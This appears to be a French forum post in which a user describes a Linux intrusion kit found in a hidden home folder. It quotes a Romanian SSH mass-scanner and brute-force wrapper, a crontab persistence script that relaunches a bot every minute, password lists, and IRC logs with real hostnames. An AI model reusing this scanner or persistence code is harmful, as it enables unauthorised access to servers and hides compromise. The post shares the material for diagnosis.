Oui c'est un Virus linux
Voila le dossier .a , dans le navigateur
le sous dossier delles
le fichier a3
traduit par Google
echo "Notre Père qui es sur Internet»,
echo "Votre sanctifié rooterele"
echo "Que ta fibre optique"
echo "do-it votre connexion!"
echo "Et donnez-nous la vitesse, nous avons nuit et jour!"
echo "Pardonne-nous des comptes pirates"
echo "comme nous pardonnons à notre facture fournisseurs"
echo "Et ne nous soumets pas à inonder, mais délivre-nous du retard!"
echo "Amen!"
il y a des listes de nom, de mots, d'adresses IP, de nombres comme des mots de passe
du genre
12345
12346
12347
54321
voila quelques fichiers qui sont des scripts.
#!/bin/bash
if [ $# != 1 ]; then
echo " usage: $0 <b class>"
exit;
fi
echo "*************************RoService TEAM:***************************"
echo "* Acesta este un scanner privat creat de Muritorul. *"
echo "* ____ _____ __ __ __ *"
echo "* | ___| | ___ | | \ / | | | *"
echo "* | | || || | \_/ | | | *"
echo "* | |__ ||___|| | |\_/| | | | *"
echo "* |____| |_____| |__| |__| |__| *"
echo "* *"
echo "* --==SCANNER==-- *"
echo "* *"
echo "*****************Greets to all #RoService members******************"
./pscan2 $1 22
sleep 10
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo "# Am gasit $oopsnr2 servere"
echo "------------------------"
echo "# Mult Noroc!"
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo "Asta e tot.. Vrei sa dai din nou?"
Fichier autorun
#!/bin/sh
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update
update
#!/bin/sh
if test -r /home/taller/.a/ip/m.pid; then
pid=$(cat /home/taller/.a/ip/m.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /home/taller/.a/ip
./run &>/dev/null
des fichiers texte du genre
yasuda__ yasuda__!~F2@ADijon-158-1-38-74.w92-130.abo.wanadoo.fr none 1358805930 3 qwp
yasuda_ yasuda_!~F2@host-static-92-115-19-174.moldtelecom.md none 1358805364 2 Ping timeout
yasuda___ yasuda___!~F2@cpc26-chap8-2-0-cust144.18-1.cable.virginmedia.com none 1358805941 3 g00gle
SM SM!~Violeta@cpc26-chap8-2-0-cust144.18-1.cable.virginmedia.com none 1358816234 2 Ping timeout
R0Hack R0Hack!~dyana@cpc26-chap8-2-0-cust144.18-1.cable.virginmedia.com none 1358816202 2 Ping timeout
PirO PirO!~PirO@PirO.users.undernet.org none 1358807448 2 Read error: Operation timed out
Oras Oras!~Violeta@ADijon-158-1-38-74.w92-130.abo.wanadoo.fr none 1358807579 2 Ping timeout
mafiotule mafiotule!~Violeta@18.pool85-58-26.dynamic.orange.es none 1358807580 2 Ping timeout
g00gle g00gle!~F2@cpc26-chap8-2-0-cust144.18-1.cable.virginmedia.com none 1358816234 2 Ping timeout
forget__ forget__!~dyana@ADijon-158-1-38-74.w92-130.abo.wanadoo.fr none 1358806019 3 puty
forget_ forget_!~dyana@host-static-92-115-19-174.moldtelecom.md none 1358805364 2 Ping timeout
forget___ forget___!~dyana@cpc26-chap8-2-0-cust144.18-1.cable.virginmedia.com none 1358806033 3 R0Hack
_cdinamo_ _cdinamo_!~Violeta@host-static-92-115-19-174.moldtelecom.md none 1358805363 2 Ping timeout
___inamo_ ___inamo_!~Violeta@cpc26-chap8-2-0-cust144.18-1.cable.virginmedia.com none 1358805874 3 SM
__dinamo_ __dinamo_!~Violeta@ADijon-158-1-38-74.w92-130.abo.wanadoo.fr none 1358805894 3 Oras
Puis d'autres textes avec des phrases sans aucun rapport les unes avec les autres
